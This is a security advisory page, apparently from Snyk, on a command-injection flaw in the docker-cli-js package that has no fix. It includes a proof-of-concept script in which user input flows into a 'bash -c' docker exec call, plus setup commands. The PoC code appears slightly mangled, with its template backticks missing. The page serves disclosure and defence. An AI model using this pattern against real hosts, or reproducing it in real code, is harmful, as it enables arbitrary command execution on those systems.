Arbitrary Code Execution Affecting docker-cli-js package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.97% (84th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-DOCKERCLIJS-1568516
  • published 2 Nov 2021
  • disclosed 23 Aug 2021
  • credit Paul-Emmanuel Raoul of SkypLabs

How to fix?

There is no fixed version for docker-cli-js.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.

Steps to Reproduce

  1. Create a file named exploit.js with the following content:

    var dockerCLI = require('docker-cli-js');
    var DockerOptions = dockerCLI.Options;
    var Docker = dockerCLI.Docker;
    
    

    var docker = new Docker();

    var userInput = "echo 'Hello from the container'";

    docker.command(exec container-test bash -c "${userInput}", function (err, data) { console.log('data = ', data); });

  2. In the same directory as exploit.js, run npm install docker-cli-js.

  3. Create a background Docker container named container-test: docker run --name container-test -d ubuntu sleep 1000

  4. Run exploit.js: node exploit.js.

You should see the outputs of both the container and host system.

CVSS Scores

version 3.1
Expand this section

Snyk

9 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9 critical